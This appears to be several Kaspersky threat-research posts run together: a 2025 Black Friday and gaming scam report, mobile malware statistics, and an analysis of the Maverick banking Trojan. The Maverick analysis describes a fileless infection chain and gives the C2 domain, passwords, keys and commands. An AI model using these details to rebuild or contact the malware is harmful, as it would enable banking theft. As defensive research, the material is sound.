The global e‑commerce market is accelerating faster than ever before, driven by expanding online retail, and rising consumer adoption worldwide. According to McKinsey Global Institute, global e‑commerce is projected to grow by 7–9% annually through 2040.
At Kaspersky, we track how this surge in online shopping activity is mirrored by cyber threats. In 2025, we observed attacks which targeted not only e‑commerce platform users but online shoppers in general, including those using digital marketplaces, payment services and apps for everyday purchases. This year, we additionally analyzed how cybercriminals exploited gaming platforms during Black Friday, as the gaming industry has become an integral part of the global sales calendar. Threat actors have been ramping up their efforts during peak sales events like Black Friday, exploiting high demand and reduced user vigilance to steal personal data, funds, or spread malware.
This report continues our annual series of analyses published on Securelist in 2021, 2022, 2023, and 2024, which examine the evolving landscape of shopping‑related cyber threats.
To track how the shopping threat landscape continues to evolve, we conduct an annual assessment of the most common malicious techniques, which span financial malware, phishing pages that mimic major retailers, banks, and payment services, as well as spam campaigns that funnel users toward fraudulent sites. In 2025, we also placed a dedicated focus on gaming-related threats, analyzing how cybercriminals leverage players’ interest. The threat data we rely on is sourced from the Kaspersky Security Network (KSN), which processes anonymized cybersecurity data shared consensually by Kaspersky users. This report draws on data collected from January through October 2025.
Phishing and scams remain among the most common threats for online shoppers, particularly during high-traffic retail periods when users are more likely to act quickly and rely on familiar brand cues. Cybercriminals frequently recreate the appearance of legitimate stores, payment pages, and banking services, making their fraudulent sites and emails difficult to distinguish from real ones. With customers navigating multiple offers and payment options, they may overlook URL or sender details, increasing the likelihood of credential theft and financial losses.
From January through to October 2025, Kaspersky products successfully blocked 6,394,854 attempts to access phishing links which targeted users of online stores, payment systems, and banks. Breaking down these attempts, 48.21% had targeted online shoppers (for comparison, this segment accounted for 37.5% in 2024), 26.10% targeted banking users (compared to 44.41% in 2024), and 25.69% mimicked payment systems (18.09% last year). Compared to previous years, there has been a noticeable shift in focus, with attacks against online store users now representing a larger share, reflecting cybercriminals’ continued emphasis on exploiting high-demand retail periods, while attacks on banking users have decreased in relative proportion. This may be related to online banking protection hardening worldwide.
In 2025, Kaspersky products detected and blocked 606,369 phishing attempts involving the misuse of Amazon’s brand. Cybercriminals continued to rely on Amazon-themed pages to deceive users and obtain personal or financial information.
Other major e-commerce brands were also impersonated. Attempts to visit phishing pages mimicking Alibaba brands, such as AliExpress, were detected 54,500 times, while eBay-themed pages appeared in 38,383 alerts. The Latin American marketplace Mercado Libre was used as a lure in 8,039 cases, and Walmart-related phishing pages were detected 8,156 times.
In 2025, phishing campaigns also extensively mimicked other online platforms. Netflix-themed pages were detected 801,148 times, while Spotify-related attempts reached 576,873. This pattern likely reflects attackers’ continued focus on high-traffic digital entertainment services with in-service payments enabled, which can be monetized via stolen accounts.
In 2025, Black Friday-related scams continued to circulate across multiple channels, with fraudulent email campaigns remaining one of the key distribution methods. As retailers increase their seasonal outreach, cybercriminals take advantage of the high volume of promotional communications by sending look-alike messages that direct users to scam and phishing pages. In the first two weeks of November, 146,535 spam messages connected to seasonal sales were detected by Kaspersky, including 2,572 messages referencing Singles day sales.
Scammers frequently attempt to mimic well-known platforms to increase the credibility of their messages. In one of the recurring campaigns, a pattern seen year after year, cybercriminals replicated Amazon’s branding and visual style, promoting supposedly exclusive early-access discounts of up to 70%. In this particular case, the attackers made almost no changes to the text used in their 2024 campaign, again prompting users to follow a link leading to a fraudulent page. Such pages are usually designed to steal their personal or payment information or to trick the user into buying non-existent goods.
Beyond the general excitement around seasonal discounts, scammers also try to exploit consumers’ interest in newly released Apple devices. To attract attention, they use the same images of the latest gadgets across various mailing campaigns, just changing the names of legitimate retailers that allegedly sell the brand.
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As subscription-based streaming platforms also take part in global sales periods, cybercriminals attempt to take advantage of this interest as well. For example, we observed a phishing website where scammers promoted an offer for a “12-month subscription bundle” covering several popular services at once, asking users to enter their bank card details. To enhance credibility, the scammers also include fabricated indicators of numerous successful purchases from other “users,” making the offer appear legitimate.
In addition to imitating globally recognized platforms, scammers also set up fake pages that pretend to be local services in specific countries. This tactic enables more targeted campaigns that blend into the local online landscape, increasing the chances that users will perceive the fraudulent pages as legitimate and engage with them.
Non-existent Norwegian online store and popular Labubu toys sale
Banking Trojans, or “bankers,” are another tool for cybercriminals exploiting busy shopping seasons like Black Friday in 2025. They are designed to steal sensitive data from online banking and payment systems. In this section, we’ll focus on PC bankers. Once on a victim’s device, they monitor the browser and, when the user visits a targeted site, can use techniques like web injection or form-grabbing to capture login credentials, credit card information, and other personal data. Some trojans also watch the clipboard for crypto wallet addresses and replace them with those controlled by the malicious actors.
As online shopping peaks during major sales events, attackers increasingly target e-commerce platforms alongside banks. Trojans may inject fake forms into legitimate websites, tricking users into revealing sensitive data during checkout and increasing the risk of identity theft and financial fraud. In 2025, Kaspersky detected over 1,088,293* banking Trojan attacks. Among notable banker-related cases analysed by Kaspersky throughout the year, campaigns involving the new Maverick banking Trojan distributed via WhatsApp, as well as the Efimer Trojan which spread through malicious emails and compromised WordPress sites can be mentioned, both illustrating how diverse and adaptive banking Trojan delivery methods are.
*These statistics include globally active banking malware, and malware for ATMs and point-of-sale (PoS) systems. We excluded data on Trojan-banker families that no longer use banking Trojan functionality in their attacks, such as Emotet.
Apparently, even the criminal underground follows its own version of a holiday sales season. Once data is stolen, it often ends up on dark-web forums, where cybercriminals actively search for buyers. This pattern is far from new, and the range of offers has remained largely unchanged over the past two years.
Threat actors consistently seize the opportunity to attract “new customers,” advertising deep discounts tied to high-profile global sales events. It is worth noting that year after year we see the same established services announce their upcoming promotions in the lead-up to Black Friday, almost as if operating on a retail calendar of their own.
We also noted that dark web forum participants themselves eagerly await these seasonal markdowns, hoping to obtain databases at the most favorable rates and expressing their wishes in forum posts. In the months before Black Friday, posts began appearing on carding-themed forums advertising stolen payment-card data at promotional prices.
The gaming industry faces a high concentration of scams and other cyberthreats due to its vast global audience and constant demand for digital goods, updates, and in-game advantages. Players often engage quickly with new offers, making them more susceptible to deceptive links or malicious files. At the same time, the fact that gamers often download games, mods, skins etc. from third-party marketplaces, community platforms, and unofficial sources creates additional entry points for attackers.
The number of attempted attacks on platforms beloved by gamers increased dramatically in 2025, reaching 20,188,897 cases, a sharp rise compared to previous years.
The nearly sevenfold increase in 2025 is most likely linked to the Discord block by some countries introduced at the end of 2024. Eventually users rely on alternative tools, proxies and modified clients. This change significantly expanded the attack surface, making users more vulnerable to fake installers, and malicious updates disguised as workarounds for the restriction.
It can also be seen in the top five most targeted gaming platforms of 2025:
| Platform | The number of attempted attacks |
| Discord | 18,556,566 |
| Steam | 1,547,110 |
| Xbox | 43,560 |
| Uplay | 28,366 |
| Battle.net | 5,538 |
In previous years, Steam consistently ranked as the platform with the highest number of attempted attacks. Its extensive game library, active modding ecosystem, and long-standing role in the gaming community made it a prime target for cybercriminals distributing malicious files disguised as mods, cheats, or cracked versions. In 2025, however, the landscape changed significantly. The gap between Steam and Discord expanded to an unprecedented degree as Steam-related figures remained within their typical fluctuation range of the past five years, while the number of attempted Discord-disguised attacks surged more than 14 times compared to 2024, reshaping the hierarchy of targeted gaming platforms.
Attempts to attack users through malicious or unwanted files disguised as Steam and Discord throughout the reported period (download)
From January to October, 2025, cybercriminals used a variety of cyberthreats disguised as popular related to gamers platforms, modifications or circumvention options. RiskTool dominated the threat landscape with 17,845,099 detections, far more than any other category. Although not inherently malicious, these tools can hide files, mask processes, or disable programs, making them useful for stealthy, persistent abuse, including covert crypto-mining. Downloaders ranked second with 1,318,743 detections. These appear harmless but may fetch additional malware among other downloaded files. Downloaders are typically installed when users download unofficial patches, cracked clients, or mods. Trojans followed with 384,680 detections, often disguised as cheats or mod installers. Once executed, they can steal credentials, intercept tokens, or enable remote access, leading to account takeovers and the loss of in-game assets.
| Threat | Gaming-related detections |
| RiskTool | 17,845,099 |
| Downloader | 1,318,743 |
| Trojan | 384,680 |
| Adware | 184,257 |
| Exploit | 152,354 |
In addition to tracking malicious and unwanted files disguised as gamers’ platforms, Kaspersky experts also analysed phishing pages which impersonated these services. Between January and October 2025, Kaspersky products detected 2,054,336 phishing attempts targeting users through fake login pages, giveaway offers, “discounted” subscriptions and other scams which impersonated popular platforms like Steam, PlayStation, Xbox and gaming stores.
Example of Black Friday scam using a popular shooter as a lure
The page shown in the screenshot is a typical Black Friday-themed scam that targets gamers, designed to imitate an official Valorant promotion. The “Valorant Points up to 80% off” banner, polished layout, and fake countdown timer create urgency and make the offer appear credible at first glance. Users who proceed are redirected to a fake login form requesting Riot account credentials or bank card details. Once submitted, this information enables attackers to take over accounts, steal in-game assets, or carry out fraudulent transactions.
Minor text errors reveal the page’s fraudulent nature. The phrase “You should not have a size limit of 5$ dollars in your account” is grammatically incorrect and clearly suspicious.
Another phishing page relies on a fabricated “Winter Gift Marathon” that claims to offer a free $20 Steam gift card. The seasonal framing, combined with a misleading counter (“251,110 of 300,000 cards received”), creates an artificial sense of legitimacy and urgency intended to prompt quick user interaction.
The central component of the scheme is the “Sign in” button, which redirects users to a spoofed Steam login form designed to collect their credentials. Once obtained, attackers can gain full access to the account, including payment methods, inventory items, and marketplace assets, and may be able to compromise additional services if the same password is used elsewhere.
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Scams themed around the PlayStation 5 Pro and Xbox Series X appear to be generated from a phishing kit, a reusable template that scammers adapt for different brands. Despite referencing two consoles, both pages follow the same structure which features a bold claim offering a chance to “win” a high-value device, a large product image on the left, and a minimalistic form on the right requesting the user’s email address.
A yellow banner promotes an “exclusive offer” with “limited availability,” pressuring users to respond quickly. After submitting an email, victims are typically redirected to additional personal and payment data-collection forms. They also may later be targeted with follow-up phishing emails, spam, or malicious links.
In 2025, the ongoing expansion of global e-commerce continued to be reflected in the cyberthreat landscape, with phishing, scam activity, and financial malware targeting online shoppers worldwide. Peak sales periods once again created favorable conditions for fraud, resulting in sustained activity involving spoofed retailer pages, fraudulent email campaigns, and seasonal spam.
Threat actors also targeted users of digital entertainment and subscription services. The gaming sector experienced a marked increase in malicious activity, driven by shifts in platform accessibility and the widespread use of third-party tools. The significant rise in malicious detections associated with Discord underscored how rapidly attackers adjust to changes in user behavior.
Overall, 2025 demonstrated that cybercriminals continue to leverage predictable user behavior patterns and major sales events to maximize the impact of their operations. Consumers should remain especially vigilant during peak shopping periods and use stronger security practices, such as two-factor authentication, secure payment methods, and cautious browsing. A comprehensive security solution that blocks malware, detects phishing pages, and protects financial data can further reduce the risk of falling victim to online threats.
IT threat evolution in Q3 2025. Mobile statistics
IT threat evolution in Q3 2025. Non-mobile statistics
In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.
To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.
The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.
According to Kaspersky Security Network, in Q3 2025:
The number of malware, adware, or unwanted software attacks on mobile devices, calculated according to the updated rules, totaled 3.47 million in the third quarter. This is slightly less than the 3.51 million attacks recorded in the previous reporting period.
Attacks on users of Kaspersky mobile solutions, Q2 2024 — Q3 2025 (download)
At the start of the quarter, a user complained to us about ads appearing in every browser on their smartphone. We conducted an investigation, discovering a new version of the BADBOX backdoor, preloaded on the device. This backdoor is a multi-level loader embedded in a malicious native library, librescache.so, which was loaded by the system framework. As a result, a copy of the Trojan infiltrated every process running on the device.
Another interesting finding was Trojan-Downloader.AndroidOS.Agent.no, which was embedded in mods for messaging and other apps. It downloaded Trojan-Clicker.AndroidOS.Agent.bl onto the device. The clicker received a URL from its server where an ad was being displayed, opened it in an invisible WebView window, and used machine learning algorithms to find and click the close button. In this way, fraudsters exploited the user’s device to artificially inflate ad views.
In the third quarter, Kaspersky security solutions detected 197,738 samples of malicious and unwanted software for Android, which is 55,000 more than in the previous reporting period.
Detected malicious and potentially unwanted installation packages, Q3 2024 — Q3 2025 (download)
The detected installation packages were distributed by type as follows:
Detected mobile apps by type, Q2* — Q3 2025 (download)
* Changes in the statistical calculation methodology do not affect this metric. However, data for the previous quarter may differ slightly from previously published figures due to a retrospective review of certain verdicts.
The share of banking Trojans decreased somewhat, but this was due less to a reduction in their numbers and more to an increase in other malicious and unwanted packages. Nevertheless, banking Trojans, still dominated by Mamont packages, continue to hold the top spot. The rise in Trojan droppers is also linked to them: these droppers are primarily designed to deliver banking Trojans.
Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q2 — Q3 2025 (download)
* The total may exceed 100% if the same users experienced multiple attack types.
Adware leads the pack in terms of the number of users attacked, with a significant margin. The most widespread types of adware are HiddenAd (56.3%) and MobiDash (27.4%). RiskTool-type unwanted apps occupy the second spot. Their growth is primarily due to the proliferation of the Revpn module, which monetizes user internet access by turning their device into a VPN exit point. The most popular Trojans predictably remain Triada (55.8%) and Fakemoney (24.6%). The percentage of users who encountered these did not undergo significant changes.
Note that the malware rankings below exclude riskware and potentially unwanted software, such as RiskTool or adware.
| Verdict | %* Q2 2025 | %* Q3 2025 | Difference in p.p. | Change in ranking |
| Trojan.AndroidOS.Triada.ii | 0.00 | 13.78 | +13.78 | |
| Trojan.AndroidOS.Triada.fe | 12.54 | 10.32 | –2.22 | –1 |
| Trojan.AndroidOS.Triada.gn | 9.49 | 8.56 | –0.93 | –1 |
| Trojan.AndroidOS.Fakemoney.v | 8.88 | 6.30 | –2.59 | –1 |
| Backdoor.AndroidOS.Triada.z | 3.75 | 4.53 | +0.77 | +1 |
| DangerousObject.Multi.Generic. | 4.39 | 4.52 | +0.13 | –1 |
| Trojan-Banker.AndroidOS.Coper.c | 3.20 | 2.86 | –0.35 | +1 |
| Trojan.AndroidOS.Triada.if | 0.00 | 2.82 | +2.82 | |
| Trojan-Dropper.Linux.Agent.gen | 3.07 | 2.64 | –0.43 | +1 |
| Trojan-Dropper.AndroidOS.Hqwar.cq | 0.37 | 2.52 | +2.15 | +60 |
| Trojan.AndroidOS.Triada.hf | 2.26 | 2.41 | +0.14 | +2 |
| Trojan.AndroidOS.Triada.ig | 0.00 | 2.19 | +2.19 | |
| Backdoor.AndroidOS.Triada.ab | 0.00 | 2.00 | +2.00 | |
| Trojan-Banker.AndroidOS.Mamont.da | 5.22 | 1.82 | –3.40 | –10 |
| Trojan-Banker.AndroidOS.Mamont.hi | 0.00 | 1.80 | +1.80 | |
| Trojan.AndroidOS.Triada.ga | 3.01 | 1.71 | –1.29 | –5 |
| Trojan.AndroidOS.Boogr.gsh | 1.60 | 1.68 | +0.08 | 0 |
| Trojan-Downloader.AndroidOS.Agent.nq | 0.00 | 1.63 | +1.63 | |
| Trojan.AndroidOS.Triada.hy | 3.29 | 1.62 | –1.67 | –12 |
| Trojan-Clicker.AndroidOS.Agent.bh | 1.32 | 1.56 | +0.24 | 0 |
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The top positions in the list of the most widespread malware are once again occupied by modified messaging apps Triada.ii, Triada.fe, Triada.gn, and others. The pre-installed backdoor Triada.z ranked fifth, immediately following Fakemoney – fake apps that collect users’ personal data under the guise of providing payments or financial services. The dropper that landed in ninth place, Agent.gen, is an obfuscated ELF file linked to the banking Trojan Coper.c, which sits immediately after DangerousObject.Multi.Generic.
In this section, we describe malware that primarily targets users in specific countries.
| Verdict | Country* | %** |
| Trojan-Dropper.AndroidOS.Hqwar.bj | Turkey | 97.22 |
| Trojan-Banker.AndroidOS.Coper.c | Turkey | 96.35 |
| Trojan-Dropper.AndroidOS.Agent.sm | Turkey | 95.10 |
| Trojan-Banker.AndroidOS.Coper.a | Turkey | 95.06 |
| Trojan-Dropper.AndroidOS.Agent.uq | India | 92.20 |
| Trojan-Banker.AndroidOS.Rewardsteal.qh | India | 91.56 |
| Trojan-Banker.AndroidOS.Agent.wb | India | 85.89 |
| Trojan-Dropper.AndroidOS.Rewardsteal.ab | India | 84.14 |
| Trojan-Dropper.AndroidOS.Banker.bd | India | 82.84 |
| Backdoor.AndroidOS.Teledoor.a | Iran | 81.40 |
| Trojan-Dropper.AndroidOS.Hqwar.gy | Turkey | 80.37 |
| Trojan-Dropper.AndroidOS.Banker.ac | India | 78.55 |
| Trojan-Ransom.AndroidOS.Rkor.ii | Germany | 76.90 |
| Trojan-Dropper.AndroidOS.Banker.bg | India | 75.12 |
| Trojan-Banker.AndroidOS.UdangaSteal.b | Indonesia | 75.00 |
| Trojan-Dropper.AndroidOS.Banker.bc | India | 74.73 |
| Backdoor.AndroidOS.Teledoor.c | Iran | 70.33 |
* The country where the malware was most active.
** Unique users who encountered this Trojan modification in the indicated country as a percentage of all Kaspersky mobile security solution users attacked by the same modification.
Banking Trojans, primarily Coper, continue to operate actively in Turkey. Indian users also attract threat actors distributing this type of software. Specifically, the banker Rewardsteal is active in the country. Teledoor backdoors, embedded in a fake Telegram client, have been deployed in Iran.
Notable is the surge in Rkor ransomware Trojan attacks in Germany. The activity was significantly lower in previous quarters. It appears the fraudsters have found a new channel for delivering malicious apps to users.
In the third quarter of 2025, 52,723 installation packages for mobile banking Trojans were detected, 10,000 more than in the second quarter.
Installation packages for mobile banking Trojans detected by Kaspersky, Q3 2024 — Q3 2025 (download)
The share of the Mamont Trojan among all bankers slightly increased again, reaching 61.85%. However, in terms of the share of attacked users, Coper moved into first place, with the same modification being used in most of its attacks. Variants of Mamont ranked second and lower, as different samples were used in different attacks. Nevertheless, the total number of users attacked by the Mamont family is greater than that of users attacked by Coper.
TOP 10 mobile bankers
| Verdict | %* Q2 2025 | %* Q3 2025 | Difference in p.p. | Change in ranking |
| Trojan-Banker.AndroidOS.Coper.c | 13.42 | 13.48 | +0.07 | +1 |
| Trojan-Banker.AndroidOS.Mamont.da | 21.86 | 8.57 | –13.28 | –1 |
| Trojan-Banker.AndroidOS.Mamont.hi | 0.00 | 8.48 | +8.48 | |
| Trojan-Banker.AndroidOS.Mamont.gy | 0.00 | 6.90 | +6.90 | |
| Trojan-Banker.AndroidOS.Mamont.hl | 0.00 | 4.97 | +4.97 | |
| Trojan-Banker.AndroidOS.Agent.ws | 0.00 | 4.02 | +4.02 | |
| Trojan-Banker.AndroidOS.Mamont.gg | 0.40 | 3.41 | +3.01 | +35 |
| Trojan-Banker.AndroidOS.Mamont.cb | 3.03 | 3.31 | +0.29 | +5 |
| Trojan-Banker.AndroidOS.Creduz.z | 0.17 | 3.30 | +3.13 | +58 |
| Trojan-Banker.AndroidOS.Mamont.fz | 0.07 | 3.02 | +2.95 | +86 |
* Unique users who encountered this malware as a percentage of all Kaspersky mobile security solution users who encountered banking threats.
Due to the increased activity of mobile ransomware Trojans in Germany, which we mentioned in the Region-specific malware section, we have decided to also present statistics on this type of threat. In the third quarter, the number of ransomware Trojan installation packages more than doubled, reaching 1564.
| Verdict | %* Q2 2025 | %* Q3 2025 | Difference in p.p. | Change in ranking |
| Trojan-Ransom.AndroidOS.Rkor.ii | 7.23 | 24.42 | +17.19 | +10 |
| Trojan-Ransom.AndroidOS.Rkor.pac | 0.27 | 16.72 | +16.45 | +68 |
| Trojan-Ransom.AndroidOS.Congur.aa | 30.89 | 16.46 | –14.44 | –1 |
| Trojan-Ransom.AndroidOS.Svpeng.ac | 30.98 | 16.39 | –14.59 | –3 |
| Trojan-Ransom.AndroidOS.Rkor.it | 0.00 | 10.09 | +10.09 | |
| Trojan-Ransom.AndroidOS.Congur.cw | 15.71 | 9.69 | –6.03 | –3 |
| Trojan-Ransom.AndroidOS.Congur.ap | 15.36 | 9.16 | –6.20 | –3 |
| Trojan-Ransom.AndroidOS.Small.cj | 14.91 | 8.49 | –6.42 | –3 |
| Trojan-Ransom.AndroidOS.Svpeng.snt | 13.04 | 8.10 | –4.94 | –2 |
| Trojan-Ransom.AndroidOS.Svpeng.ah | 13.13 | 7.63 | –5.49 | –4 |
* Unique users who encountered the malware as a percentage of all Kaspersky mobile security solution users attacked by ransomware Trojans.
A malware campaign was recently detected in Brazil, distributing a malicious LNK file using WhatsApp. It targets mainly Brazilians and uses Portuguese-named URLs. To evade detection, the command-and-control (C2) server verifies each download to ensure it originates from the malware itself.
The whole infection chain is complex and fully fileless, and by the end, it will deliver a new banking Trojan named Maverick, which contains many code overlaps with Coyote. In this blog post, we detail the entire infection chain, encryption algorithm, and its targets, as well as discuss the similarities with known threats.
The infection chain works according to the diagram below:
The infection begins when the victim receives a malicious .LNK file inside a ZIP archive via a WhatsApp message. The filename can be generic, or it can pretend to be from a bank:
The message said, “Visualization allowed only in computers. In case you’re using the Chrome browser, choose “keep file” because it’s a zipped file”.
The LNK is encoded to execute cmd.exe with the following arguments:
The decoded commands point to the execution of a PowerShell script:
The command will contact the C2 to download another PowerShell script. It is important to note that the C2 also validates the “User-Agent” of the HTTP request to ensure that it is coming from the PowerShell command. This is why, without the correct “User-Agent”, the C2 returns an HTTP 401 code.
The entry script is used to decode an embedded .NET file, and all of this occurs only in memory. The .NET file is decoded by dividing each byte by a specific value; in the script above, the value is “174”. The PE file is decoded and is then loaded as a .NET assembly within the PowerShell process, making the entire infection fileless, that is, without files on disk.
The initial .NET loader is heavily obfuscated using Control Flow Flattening and indirect function calls, storing them in a large vector of functions and calling them from there. In addition to obfuscation, it also uses random method and variable names to hinder analysis. Nevertheless, after our analysis, we were able to reconstruct (to a certain extent) its main flow, which consists of downloading and decrypting two payloads.
The obfuscation does not hide the method’s variable names, which means it is possible to reconstruct the function easily if the same function is reused elsewhere. Most of the functions used in this initial stage are the same ones used in the final stage of the banking Trojan, which is not obfuscated. The sole purpose of this stage is to download two encrypted shellcodes from the C2. To request them, an API exposed by the C2 on the “/api/v1/” routes will be used. The requested URL is as follows:
To communicate with its API, it sends the API key in the “X-Request-Headers” field of the HTTP request header. The API key used is calculated locally using the following algorithm:
The HMAC is used to sign messages with a specific key; in this case, the threat actor uses it to generate the “API Key” using the HMAC key “MaverickZapBot2025SecretKey12345”. The signed data sent to the C2 is “3d045ada0df942c983635e|1759847631|MaverickBot”, where each segment is separated by “|”. The first segment refers to the specific resource requested (the first encrypted shellcode), the second is the infection’s timestamp, and the last, “MaverickBot”, indicates that this C2 protocol may be used in future campaigns with different variants of this threat. This ensures that tools like “wget” or HTTP downloaders cannot download this stage, only the malware.
Upon response, the encrypted shellcode is a loader using Donut. At this point, the initial loader will start and follow two different execution paths: another loader for its WhatsApp infector and the final payload, which we call “MaverickBanker”. Each Donut shellcode embeds a .NET executable. The shellcode is encrypted using a XOR implementation, where the key is stored in the last bytes of the binary returned by the C2. The algorithm to decrypt the shellcode is as follows:
After the second Donut shellcode is decrypted and started, it will load another downloader using the same obfuscation method as the previous one. It behaves similarly, but this time it will download a PE file instead of a Donut shellcode. This PE file is another .NET assembly that will be loaded into the process as a module.
One of the namespaces used by this .NET executable is named “Maverick.StageOne,” which is considered by the attacker to be the first one to be loaded. This download stage is used exclusively to download the WhatsApp infector in the same way as the previous stage. The main difference is that this time, it is not an encrypted Donut shellcode, but another .NET executable—the WhatsApp infector—which will be used to hijack the victim’s account and use it to spam their contacts in order to spread itself.
This module, which is also obfuscated, is the WhatsApp infector and represents the final payload in the infection chain. It includes a script from WPPConnect, an open-source WhatsApp automation project, as well as the Selenium browser executable, used for web automation.
The executable’s namespace name is “ZAP”, a very common word in Brazil to refer to WhatsApp. These files use almost the same obfuscation techniques as the previous examples, but the method’s variable names remain in the source code. The main behavior of this stage is to locate the WhatsApp window in the browser and use WPPConnect to instrument it, causing the infected victim to send messages to their contacts and thus spread again. The file sent depends on the “MaverickBot” executable, which will be discussed in the next section.
The Maverick Banker comes from a different execution branch than the WhatsApp infector; it is the result of the second Donut shellcode. There are no additional download steps to execute it. This is the main payload of this campaign and is embedded within another encrypted executable named “Maverick Agent,” which performs extended activities on the machine, such as contacting the C2 and keylogging. It is described in the next section.
Upon the initial loading of Maverick Banker, it will attempt to register persistence using the startup folder. At this point, if persistence does not exist, by checking for the existence of a .bat file in the “Startup” directory, it will not only check for the file’s existence but also perform a pattern match to see if the string “for %%” is present, which is part of the initial loading process. If such a file does not exist, it will generate a new “GUID” and remove the first 6 characters. The persistence batch script will then be stored as:
Next, it will generate the bat command using the hardcoded URL, which in this case is:
In the command generation function, it is possible to see the creation of an entirely new obfuscated PowerShell script.
First, it will create a variable named “$URL” and assign it the content passed as a parameter, create a “Net.WebClient” object, and call the “DownloadString.Invoke($URL)” function. Immediately after creating these small commands, it will encode them in base64. In general, the script will create a full obfuscation using functions to automatically and randomly generate blocks in PowerShell. The persistence script reassembles the initial LNK file used to start the infection.
This persistence mechanism seems a bit strange at first glance, as it always depends on the C2 being online. However, it is in fact clever, since the malware would not work without the C2. Thus, saving only the bootstrap .bat file ensures that the entire infection remains in memory. If persistence is achieved, it will start its true function, which is mainly to monitor browsers to check if they open banking pages.
The browsers running on the machine are checked for possible domains accessed on the victim’s machine to verify the web page visited by the victim. The program will use the current foreground window (window in focus) and its PID; with the PID, it will extract the process name. Monitoring will only continue if the victim is using one of the following browsers:
* Chrome
* Firefox
* MS Edge
* Brave
* Internet Explorer
* Specific bank web browser
If any browser from the list above is running, the malware will use UI Automation to extract the title of the currently open tab and use this information with a predefined list of target online banking sites to determine whether to perform any action on them. The list of target banks is compressed with gzip, encrypted using AES-256, and stored as a base64 string. The AES initialization vector (IV) is stored in the first 16 bytes of the decoded base64 data, and the key is stored in the next 32 bytes. The actual encrypted data begins at offset 48.
This encryption mechanism is the same one used by Coyote, a banking Trojan also written in .NET and documented by us in early 2024.
If any of these banks are found, the program will decrypt another PE file using the same algorithm described in the .NET Loader section of this report and will load it as an assembly, calling its entry point with the name of the open bank as an argument. This new PE is called “Maverick.Agent” and contains most of the banking logic for contacting the C2 and extracting data with it.
The agent is the binary that will do most of the banker’s work; it will first check if it is running on a machine located in Brazil. To do this, it will check the following constraints:
What each of them does is:
Right after the check, it will enable appropriate DPI support for the operating system and monitor type, ensuring that images are sharp, fit the correct scale (screen zoom), and work well on multiple monitors with different resolutions. Then, it will check for any running persistence, previously created in “C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\”. If more than one file is found, it will delete the others based on “GetCreationTime” and keep only the most recently created one.
Communication uses the WatsonTCP library with SSL tunnels. It utilizes a local encrypted X509 certificate to protect the communication, which is another similarity to the Coyote malware. The connection is made to the host “casadecampoamazonas.com” on port 443. The certificate is exported as encrypted, and the password used to decrypt it is Maverick2025!. After the certificate is decrypted, the client will connect to the server.
For the C2 to work, a specific password must be sent during the first contact. The password used by the agent is “101593a51d9c40fc8ec162d67504e221”. Using this password during the first connection will successfully authenticate the agent with the C2, and it will be ready to receive commands from the operator. The important commands are:
| Command | Description |
| INFOCLIENT | Returns the information of the agent, which is used to identify it on the C2. The information used is described in the next section. |
| RECONNECT | Disconnect, sleep for a few seconds, and reconnect again to the C2. |
| REBOOT | Reboot the machine |
| KILLAPPLICATION | Exit the malware process |
| SCREENSHOT | Take a screenshot and send it to C2, compressed with gzip |
| KEYLOGGER | Enable the keylogger, capture all locally, and send only when the server specifically requests the logs |
| MOUSECLICK | Do a mouse click, used for the remote connection |
| KEYBOARDONECHAR | Press one char, used for the remote connection |
| KEYBOARDMULTIPLESCHARS | Send multiple characters used for the remote connection |
| TOOGLEDESKTOP | Enable remote connection and send multiple screenshots to the machine when they change (it computes a hash of each screenshot to ensure it is not the same image) |
| TOOGLEINTERN | Get a screenshot of a specific window |
| GENERATEWINDOWLOCKED | Lock the screen using one of the banks’ home pages. |
| LISTALLHANDLESOPENEDS | Send all open handles to the server |
| KILLPROCESS | Kill some process by using its handle |
| CLOSEHANDLE | Close a handle |
| MINIMIZEHANDLE | Minimize a window using its handle |
| MAXIMIZEHANDLE | Maximize a window using its handle |
| GENERATEWINDOWREQUEST | Generate a phishing window asking for the victim’s credentials used by banks |
| CANCELSCREENREQUEST | Disable the phishing window |
Agent profile info
In the “INFOCLIENT” command, the information sent to the C2 is as follows:
According to our telemetry, all victims were in Brazil, but the Trojan has the potential to spread to other countries, as an infected victim can send it to another location. Even so, the malware is designed to target only Brazilians at the moment.
It is evident that this threat is very sophisticated and complex; the entire execution chain is relatively new, but the final payload has many code overlaps and similarities with the Coyote banking Trojan, which we documented in 2024. However, some of the techniques are not exclusive to Coyote and have been observed in other low-profile banking Trojans written in .NET. The agent’s structure is also different from how Coyote operated; it did not use this architecture before.
It is very likely that Maverick is a new banking Trojan using shared code from Coyote, which may indicate that the developers of Coyote have completely refactored and rewritten a large part of their components.
This is one of the most complex infection chains we have ever detected, designed to load a banking Trojan. It has infected many people in Brazil, and its worm-like nature allows it to spread exponentially by exploiting a very popular instant messenger. The impact is enormous. Furthermore, it demonstrates the use of AI in the code-writing process, specifically in certificate decryption, which may also indicate the involvement of AI in the overall code development. Maverick works like any other banking Trojan, but the worrying aspects are its delivery method and its significant impact.
We have detected the entire infection chain since day one, preventing victim infection from the initial LNK file. Kaspersky products detect this threat with the verdict HEUR:Trojan.Multi.Powenot.a and HEUR:Trojan-Banker.MSIL.Maverick.gen.
| Dominio | IP | ASN |
| casadecampoamazonas[.]com | 181.41.201.184 | 212238 |
| sorvetenopote[.]com | 77.111.101.169 | 396356 |
IT threat evolution in Q2 2025. Mobile statistics
IT threat evolution in Q2 2025. Non-mobile statistics
The mobile section of our quarterly cyberthreat report includes statistics on malware, adware, and potentially unwanted software for Android, as well as descriptions of the most notable threats for Android and iOS discovered during the reporting period. The statistics in this report are based on detection alerts from Kaspersky products, collected from users who consented to provide anonymized data to Kaspersky Security Network.
According to Kaspersky Security Network, in Q2 2025:
Mobile attacks involving malware, adware, and unwanted software dropped to 10.71 million.
Attacks on users of Kaspersky mobile solutions, Q4 2023 — Q2 2025 (download)
